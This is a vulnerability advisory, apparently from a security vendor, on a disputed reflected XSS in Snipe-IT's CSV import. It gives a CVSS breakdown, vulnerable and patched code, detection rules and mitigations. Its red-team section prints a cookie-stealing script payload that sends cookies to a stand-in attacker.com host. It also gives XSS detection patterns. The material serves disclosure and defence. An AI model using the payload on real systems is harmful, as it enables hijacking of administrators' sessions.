CVE-2025-64027
Executive Summary
CVE-2025-64027 is a reflected cross-site scripting (XSS) vulnerability discovered in Snipe-IT v8.3.4 (build 20218), an open-source asset management system. The flaw resides in the CSV Import workflow, specifically within the progress_message parameter returned when an invalid CSV file is uploaded. An authenticated attacker with admin privileges can intercept and modify the POST /livewire/update request to inject arbitrary HTML or JavaScript. Because the server reflects the unsanitized input back to the admin interface, the injected script executes in the browser of any authenticated admin viewing the import page. The vendor disputes the finding, arguing it requires an authenticated user to perform a man-in-the-middle attack against themselves. However, from a threat intelligence perspective, this represents a valid attack vector in multi-tenant or shared-admin environments where one admin could target another.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Snipe-IT is a PHP/Laravel application. The vulnerability does not directly affect the supply chain of NPM, PyPI, Go, or Ruby packages. However, the application relies on Livewire (a Laravel library) for its reactive components. The flaw is in the application’s handling of user input, not in the Livewire library itself. No known malicious packages are associated with this CVE.
CVSS Breakdown & Threat Level
CVSS Score: 4.8 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – the attacker can exploit this remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): High – attacker must be an authenticated admin.
- User Interaction (UI): Required – the victim admin must view the import page.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify data.
- Availability (A): None – no impact on availability.
Threat Level: Medium. The requirement for admin privileges and user interaction reduces the risk, but in environments with multiple admins or shared admin accounts, the impact could be significant.
Deep Dive & Mechanics
The vulnerability is triggered during the CSV import process. When an admin uploads a malformed CSV file, the application returns a progress_message value that is rendered as raw HTML in the admin interface. The attack flow is as follows:
Normal Flow: An admin uploads a CSV file via the import feature. The server processes the file and returns a
progress_messageindicating success or failure. This message is displayed in the admin UI.Exploitation: An attacker (authenticated as an admin) intercepts the
POST /livewire/updaterequest using a proxy like Burp Suite. They modify theprogress_messageparameter to include malicious JavaScript, e.g.,<script>alert('XSS')</script>.Reflection: The server accepts the modified input without sanitization and reflects it back in the response. The browser of any admin viewing the import page executes the injected script.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim admin, or deface the admin interface.
The root cause is the lack of output encoding or sanitization on the progress_message parameter. The application uses Livewire, which typically handles XSS protection, but in this case, the raw HTML rendering bypasses those protections.
Vulnerable vs. Patched Code
Vulnerable Code (Snipe-IT v8.3.4):
The vulnerable code is in the Livewire component handling CSV imports. The progress_message is returned directly without sanitization.
// Vulnerable: progress_message is returned as raw HTML
public function importCsv()
{
// ... processing ...
$this->progress_message = $message; // $message contains user-controlled input
}
Patched Code (Hypothetical):
A patch would sanitize the progress_message using Laravel’s e() function or strip tags.
// Patched: progress_message is escaped
public function importCsv()
{
// ... processing ...
$this->progress_message = e($message); // Escape HTML entities
}
Note: No official patch has been released as of this report. The vendor disputes the finding.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Snipe-IT v8.3.4 (build 20218).
- Admin credentials for the target instance.
- A proxy tool like Burp Suite or OWASP ZAP.
Exploitation Steps:
- Log in as an admin user.
- Navigate to the CSV Import page (e.g.,
/admin/import). - Upload a malformed CSV file (e.g., a file with invalid headers) to trigger the import process.
- Intercept the
POST /livewire/updaterequest using Burp Suite. - Modify the
progress_messageparameter to inject JavaScript:progress_message=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Forward the request. The injected script will execute in the browser of any admin viewing the import page.
Proof of Concept (PoC):
<!-- PoC: Inject this into progress_message -->
<script>alert('XSS')</script>
Blue Team
Detection Steps:
- Monitor
POST /livewire/updaterequests for unusualprogress_messagevalues containing HTML tags or JavaScript. - Check server logs for repeated failed CSV uploads from the same admin user.
- Use a Web Application Firewall (WAF) to block requests with
<script>tags in theprogress_messageparameter.
Mitigation:
- Apply input validation and output encoding on the
progress_messageparameter. - Restrict admin access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
Network IOCs:
POST /livewire/updaterequests withprogress_messagecontaining<script>tags.- Outbound connections to attacker-controlled domains from the Snipe-IT server.
File IOCs:
- Malformed CSV files with unusual content in headers or data fields.
Log IOCs:
- Repeated
Invalid CSV fileerrors in application logs. - Unusual
progress_messagevalues in Livewire component logs.
Detection Engineering
YARA Rule
rule CVE_2025_64027_XSS {
meta:
description = "Detects reflected XSS in Snipe-IT CSV import progress_message"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64027"
strings:
$xss1 = /progress_message=.*<script>/ nocase
$xss2 = /progress_message=.*<img.*onerror=/ nocase
$xss3 = /progress_message=.*<svg.*onload=/ nocase
condition:
any of them
}
Sigma Rule
title: Reflected XSS in Snipe-IT CSV Import
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts in Snipe-IT CSV import progress_message parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: /livewire/update
cs-uri-query|contains: progress_message
cs-uri-query|re: (<script|<img.*onerror|<svg.*onload)
condition: selection
falsepositives:
- Legitimate use of HTML in progress messages (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64027 Reflected XSS in Snipe-IT CSV Import"; flow:to_server; content:"POST"; http_method; content:"/livewire/update"; http_uri; content:"progress_message"; http_client_body; pcre:"/(<script|<img.*onerror|<svg.*onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the CSV import feature for non-essential admin users.
- Apply a virtual patch using a WAF to block requests with HTML tags in
progress_message. - Monitor admin activity for suspicious behavior.
Long-term Fix:
- The vendor should release a patch that sanitizes the
progress_messageparameter using output encoding (e.g.,htmlspecialchars()in PHP). - Implement Content Security Policy (CSP) headers to prevent inline script execution.
- Conduct a security audit of all Livewire components for similar issues.
Workaround:
- Modify the application code to escape
progress_messagebefore rendering:$this->progress_message = e($message);
Valters IT
Securing Digital Frontiers